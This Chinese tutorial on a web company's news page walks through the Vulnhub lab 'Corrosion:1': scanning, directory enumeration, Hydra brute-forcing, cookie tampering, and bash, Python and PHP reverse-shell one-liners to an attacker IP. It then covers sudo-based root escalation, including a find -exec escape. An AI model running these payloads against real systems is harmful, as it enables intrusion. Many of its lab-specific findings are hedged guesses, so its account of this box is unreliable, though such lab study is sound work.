尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

Vulnhub靶机Corrosion:1渗透实战:从信息收集到权限提升全流程解析

Vulnhub靶机Corrosion:1渗透实战:从信息收集到权限提升全流程解析
📅 发布时间:2026/7/31 4:27:35

1. 项目概述:从“玩转”到“精通”的靶机实战路径

“玩转”一个渗透测试靶机,远不止是拿到root权限那么简单。它意味着你能够系统性地复现攻击路径,理解每一步背后的原理,并最终将零散的技术点串联成一套完整的渗透测试思维。今天要拆解的Vulnhub靶机“Corrosion:1”,就是一个绝佳的练习场。它不像某些“直给”型靶机那样漏洞明显,而是需要你像真正的渗透测试工程师一样,进行信息收集、枚举、漏洞利用、权限提升和痕迹清理的全流程思考。对于刚接触渗透测试的新手,或是想从CTF解题思维转向真实渗透测试流程的朋友来说,攻克Corrosion:1的过程,就是一次从“脚本小子”到“思考者”的蜕变。

这个靶机的核心价值在于,它模拟了一个相对真实的、存在多处逻辑关联漏洞的Web应用环境。你不会遇到一个简单的SQL注入点直接拿到shell,而是需要结合目录枚举、源码审计、密码破解、会话劫持乃至简单的二进制漏洞利用等多种技术。整个过程就像在解一个环环相扣的谜题,每一步的发现都为下一步铺路。通过这次实战,你不仅能巩固Nmap、Gobuster、Hydra、John the Ripper、Metasploit等经典工具的使用,更能深刻理解“攻击链”的概念——如何将看似孤立的信息点(一个用户名、一个隐藏目录、一段注释代码)组合成一条通往最终目标的路径。接下来,我将带你完整走一遍这条路径,并重点分享那些官方Writeup里不会写的细节和踩坑经验。

2. 靶机环境搭建与初始信息收集

2.1 靶机部署与网络配置

首先,你需要从Vulnhub官网下载Corrosion:1的OVA文件。导入到VMware或VirtualBox后,一个关键的步骤是将虚拟机的网络模式设置为“桥接”。很多新手会忽略这一点,使用NAT模式导致攻击机(Kali Linux)无法发现靶机。桥接模式使得靶机和你的Kali处于同一物理网络段,就像两台真实的电脑接在同一个路由器下,这是后续扫描和攻击的基础。

部署完成后,先别急着扫描。Vulnhub靶机通常不会显示IP地址,我们需要先找出它。在Kali中,最快速的方法是使用netdiscover进行主动ARP扫描:

sudo netdiscover -r 192.168.1.0/24

请将192.168.1.0/24替换为你本地网络的真实网段。如果netdiscover没有结果,可以尝试更通用的方法:先查看Kali自身的IP(ip a),确定网段后,使用Nmap进行ping扫描:

sudo nmap -sn 192.168.1.0/24

扫描结果中,除了你已知的设备(如你的电脑、手机),那个陌生的IP地址很可能就是靶机。记下这个IP,我们假设它为192.168.1.105。

注意:在实际渗透测试授权项目中,这种主动的ARP或ICMP扫描可能会触发网络入侵检测系统(IDS)的警报。在合规测试中,我们有时会采用更隐蔽的扫描方式,或将其安排在允许扫描的时间窗口。但在Vulnhub这样的学习环境,我们可以放开手脚。

2.2 系统性端口与服务探测

拿到IP后,下一步是进行全面的端口扫描,这是信息收集的基石。不要只满足于一个快速扫描,分层次进行能获得更全面的信息。

第一层:快速扫描,发现开放端口

sudo nmap -sS -T4 192.168.1.105

-sS代表TCP SYN扫描(半开扫描),速度较快且相对隐蔽。-T4指定扫描速度。这次扫描会快速列出所有开放的TCP端口。假设我们发现开放了22(SSH), 80(HTTP)端口。

第二层:深度扫描,探测服务详情针对发现的开放端口,进行版本探测和脚本扫描,获取更详细的信息:

sudo nmap -sV -sC -p 22,80 -oA corrosion_initial 192.168.1.105
  • -sV: 探测服务及版本信息。
  • -sC: 使用默认的Nmap脚本进行漏洞探测,它能发现一些常见配置问题。
  • -p: 指定扫描的端口。
  • -oA: 将结果以所有格式(普通、XML、Grepable)输出到文件,便于后续查阅。

这个扫描结果会告诉我们,80端口运行着什么Web服务器(如Apache 2.4.x)和可能的技术栈(如PHP),22端口的SSH服务版本。这些信息是后续选择攻击方向的依据。

第三层:全端口扫描,避免遗漏有时靶机会将服务放在非标准端口。为了万无一失,可以进行一次全端口扫描,但这比较耗时:

sudo nmap -p- -T4 192.168.1.105

在Corrosion:1中,主要入口就是80和22端口,因此我们的重点将放在Web应用上。

3. Web应用渗透与漏洞利用分析

3.1 目录枚举与敏感文件发现

面对一个Web应用,直接浏览主页往往只是开始。我们需要使用工具暴力枚举隐藏的目录、文件和后台入口。这里推荐使用gobuster,它速度快,字典丰富。

首先,准备一个常用的目录字典,如/usr/share/wordlists/dirb/common.txt。然后运行:

gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,bak
  • dir: 指定目录枚举模式。
  • -u: 目标URL。
  • -w: 使用的字典文件。
  • -x: 尝试这些扩展名。添加bak是因为开发者有时会留下备份文件(如index.php.bak),里面可能包含源码或配置信息。

在Corrosion靶机中,你可能会发现诸如/admin、/login、/backup、/uploads之类的目录。每个发现的目录都需要手动访问,检查其内容。一个重要的技巧是:同时关注服务器的HTTP响应状态码。200是成功,301/302是重定向(可能跳转到登录页),403是禁止访问(但确认了该路径存在),404是不存在。对于403的目录,可以尝试使用其他方法绕过,比如修改HTTP请求头。

除了目录,还要枚举虚拟主机(vhost)和子域名,虽然在这个本地靶机中可能用不上,但在真实内网测试中至关重要:

gobuster vhost -u http://192.168.1.105 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

3.2 源码审计与逻辑漏洞挖掘

在枚举过程中,你很可能发现了一个登录页面(例如/login.php)。直接尝试SQL注入或爆破可能不是最优解。更聪明的做法是查看网页源码。按Ctrl+U或F12打开开发者工具,仔细检查HTML、JavaScript注释。开发者有时会把测试账号、接口信息甚至后端逻辑写在注释里。

在Corrosion中,关键信息可能就藏在注释或一个不起眼的JS文件里。例如,你可能会发现一段被注释掉的JavaScript代码,其中包含一个向某个API端点(如/api/user/check)发送请求的逻辑。这个端点可能未在前端显示,但可以直接访问,并且可能存在参数污染、IDOR(不安全的直接对象引用)等漏洞。

IDOR漏洞实战:假设你通过枚举发现了/api/user/profile?id=1,返回了用户admin的信息。尝试将id=1改为id=2,如果返回了另一个用户的数据,这就是一个典型的IDOR漏洞。你可以编写一个简单脚本,遍历id值,批量获取用户信息。在Kali中,可以用curl配合循环:

for i in {1..100}; do echo "ID $i:"; curl -s "http://192.168.1.105/api/user/profile?id=$i" | grep -E "username|email"; done

此外,不要忘记检查robots.txt文件。它可能暴露出管理员后台路径(Disallow: /admin/)或其他敏感目录。

3.3 密码破解与会话管理攻击

通过源码审计或IDOR漏洞,你可能获得了一个用户名列表(如admin, john, corros1on)。同时,在枚举中可能发现了一个登录接口。这时,密码爆破就提上日程。

使用Hydra进行HTTP表单爆破: 首先,需要分析登录请求。用Burp Suite拦截一个登录请求,观察其请求方法(POST)、参数名(如user=admin&pass=123)和失败时的响应特征(如返回“Invalid credentials”)。

hydra -L userlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.105 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid credentials"
  • -L: 用户名列表文件。
  • -P: 密码字典文件(rockyou.txt是经典弱口令字典)。
  • http-post-form: 指定协议和表单类型。
  • 引号内部分分为三块,用冒号分隔:路径:POST参数:失败条件。

实操心得:直接爆破Web登录表单可能触发账户锁定机制或频繁的IP封锁。在Corrosion中,我们可能更幸运。但如果遇到防护,可以尝试:1) 降低请求速率(-t 1 -w 10);2) 使用代理池;3) 先尝试最常见的几个密码组合(如admin/admin, admin/123456)。

如果爆破成功,你将获得一个有效的账户凭证。登录后,立即检查Cookie。应用可能使用脆弱的会话管理机制。查看Cookie是否是可预测的(如简单的数字递增),或者是未签名的、使用弱算法(如Base64)编码的数据。如果是后者,可能构成会话伪造攻击。

会话伪造示例:假设Cookie是session=eyJ1c2VyIjoiYWRtaW4ifQ==,这是一个Base64编码字符串。解码后可能是{"user":"admin"}。你可以尝试修改user值为其他已存在的用户(如{"user":"john"}),再Base64编码回去,替换Cookie,可能就能以其他用户身份登录。这被称为“不安全的反序列化”或“Cookie篡改”漏洞。

4. 权限提升与后渗透阶段

4.1 从Web Shell到稳定立足点

通过Web漏洞(比如文件上传漏洞)获取了Web Shell(如一个可以执行命令的PHP文件),这只是一个临时据点。我们需要将其转化为一个稳定的、功能完整的反向Shell连接。

使用Netcat获取反向Shell: 在Kali上监听一个端口:

nc -lvnp 4444

在Web Shell中执行反向连接命令。由于目标环境可能受限,需要尝试多种payload:

  • Bash:bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'(将IP改为你的Kali IP)
  • Python:
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • PHP:php -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

如果成功,你会在Netcat终端看到一个低权限的Shell。第一步是升级为交互式TTY Shell,这样才能使用su、sudo、文本编辑器等命令:

python3 -c 'import pty; pty.spawn("/bin/bash")' # 或者 script /dev/null -c bash

按Ctrl+Z将会话挂起到后台,然后在Kali终端输入stty raw -echo; fg,再按一次回车。最后输入export TERM=xterm,即可获得一个功能完整的Shell。

4.2 系统内部信息枚举

拿到Shell后,不要急着提权。先进行彻底的系统内部信息收集,这就像在陌生房间里寻找有用的工具和地图。

用户与组信息:

id whoami cat /etc/passwd | grep -v "nologin\|false" # 查看可登录用户 sudo -l # **最关键的命令**:查看当前用户能以root身份运行哪些命令

进程与服务:

ps aux netstat -tulpn # 或 ss -tulpn systemctl list-units --type=service

文件与权限:

find / -type f -perm -4000 -ls 2>/dev/null # 查找SUID文件 find / -type f -perm -2000 -ls 2>/dev/null # 查找SGID文件 find / -writable -type d 2>/dev/null # 查找当前用户可写的目录

计划任务:

crontab -l ls -la /etc/cron* /var/spool/cron/ cat /etc/crontab

网络与配置:

ifconfig 或 ip a cat /etc/hosts arp -a

敏感文件:

ls -la /home/* /root/ 2>/dev/null find / -name "*.txt" -o -name "*.log" -o -name "*.conf" -o -name "*.bak" 2>/dev/null | head -20

将所有这些信息记录下来。在Corrosion靶机中,sudo -l命令的输出可能是突破口。它可能显示当前用户可以以root身份无需密码运行某个特定程序(如/usr/bin/find,/usr/bin/vi,/usr/bin/python等)。这就是经典的“sudo滥用”提权路径。

4.3 利用SUID/Sudo漏洞提权

假设sudo -l显示:

User corros1on may run the following commands on corrosion: (root) NOPASSWD: /usr/bin/find

这意味着用户corros1on可以以root身份无密码运行find命令。我们可以利用find的-exec参数执行任意命令。

方法一:直接获取root shell

sudo find / -exec /bin/bash \;

执行后,你获得的bash进程将以root权限运行。输入id确认,现在你已经是root了。

方法二:如果/bin/bash被限制,可以尝试其他方式

sudo find / -exec /bin/sh \; # 或者写入一个SUID shell echo '/bin/bash' > /tmp/shell chmod +x /tmp/shell sudo find /tmp/shell -exec /tmp/shell \;

除了find,其他常见的可滥用命令还有:

  • vim/vi:sudo vim -c ':!/bin/sh'或sudo vi -c ':!/bin/sh'
  • python:sudo python -c 'import os; os.system("/bin/bash")'
  • less/more: 在sudo less或sudo more中打开一个文件,然后输入! /bin/bash
  • nmap (旧版本):sudo nmap --interactive,然后输入!sh

如果没有sudo权限,则检查SUID文件。之前find / -perm -4000的命令会列出所有SUID文件。其中,一些已知存在漏洞的二进制文件(如/usr/bin/pkexec(CVE-2021-4034),/usr/bin/sudo的特定版本等)可以直接用于提权。你需要根据系统版本和文件版本,搜索对应的公开漏洞利用代码(Exploit)。在Kali中,可以使用searchsploit工具:

searchsploit linux kernel 5.4 privilege escalation

找到合适的Exploit后,将其下载或复制到靶机上,编译并执行。在Corrosion中,很可能就是通过某个配置不当的SUID文件或sudo权限完成的提权。

5. 总结与核心避坑指南

攻克Corrosion:1的完整路径,清晰地展示了一次标准渗透测试的缩影:信息收集 -> 漏洞挖掘 -> 初始访问 -> 权限提升 -> 目标达成。这个过程里,工具的使用是骨架,而思维才是灵魂。不要满足于运行命令拿到flag,要问自己:为什么这一步能成功?漏洞的根本原因是什么?在真实环境中,同样的漏洞会以什么形式出现?

回顾整个流程,有几个关键点值得反复咀嚼:

1. 信息收集的深度决定攻击面的宽度。最初的Nmap扫描、目录枚举、源码审计,每一步都可能发现通往下一个环节的钥匙。漏掉一个robots.txt或一个JS注释,可能就让整个渗透过程卡住。养成地毯式搜索的习惯。

2. 逻辑漏洞往往比技术漏洞更致命。Corrosion靶机很好地体现了这一点。一个不显眼的API端点,一个可预测的会话ID,一个IDOR参数,这些逻辑问题通常不会被自动化扫描器发现,却能为攻击者打开一扇大门。在测试Web应用时,务必把自己放在用户和管理员的角度去思考每一个功能流程。

3. 提权是内网渗透的必经之路。拿到一个www-data或普通用户shell只是开始。系统的sudo -l、SUID文件、计划任务、环境变量、内核版本都是需要仔细检查的提权点。建立一个自己的检查清单,每次拿到shell都按顺序过一遍,能极大提高提权成功率。

4. 自动化与手动的平衡。工具能提高效率,但不能替代思考。Gobuster可以枚举目录,但发现/admin后,需要手动去测试登录逻辑和会话管理。Hydra可以爆破密码,但先尝试常见的弱口令组合或通过信息泄露获取的密码,往往更快。永远让工具为你服务,而不是你被工具牵着走。

最后,关于学习路径的建议:在熟练了Corrosion这类中等难度的靶机后,可以挑战Vulnhub上更复杂的系列,如“HackTheBox”退役机器(虽然HTB是另一个平台,但其思路相通),或者专注于某一类漏洞的靶机(如只包含缓冲区溢出的“Brainpan”)。同时,一定要配合阅读OWASP Top 10、PTES(渗透测试执行标准)等标准文档,将实战经验与理论框架结合,才能形成真正系统化的渗透测试能力。记住,靶机是训练场,真正的价值在于将这里形成的思维模式和技能,应用于合规、授权的安全测试中,去发现和修复真实世界的漏洞。

相关新闻

  • 小米平板1刷机救砖指南:解决TWRP Error 7与Error 255错误
  • Tecplot结构与非结构网格:数据后处理的基石与性能优化
  • # 弦理论:万物理论的候选者——从一维弦到十一维宇宙

最新新闻

  • Python进阶必备:装饰器与日志模块实战解析
  • 谷歌预热新手机,相机栏发光球体或叫 Pixel Glow,用途成谜!
  • 龍魂·五行计算器 v3.0 | CNSH中文编程
  • 小升初数学思维提升训练:94集视频课程与PDF教材全解析
  • 赛马训练中身高差对人马协作的影响与优化策略
  • Mozilla 浏览器新标签页再更新:新增每日一换的迷你填字游戏小部件

日新闻

  • 7步掌握KMS智能激活工具:Windows和Office永久激活完整方案
  • 如何在Windows上运行iOS应用:ipasim跨平台模拟器终极指南
  • 2026年重庆工伤赔偿律师口碑推荐:洪家木律师用专业赢得信赖 - 本地品牌推荐

周新闻

  • 大连理工大学与东京大学联手打造的“主动型AI助手“
  • 170.2026年国家级科研瓶颈:超精密单点金刚石切削(SPDT)光学表面生成
  • SongBloom:革命性歌曲生成框架深度解析——如何通过交织自回归与扩散模型创作完整音乐

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号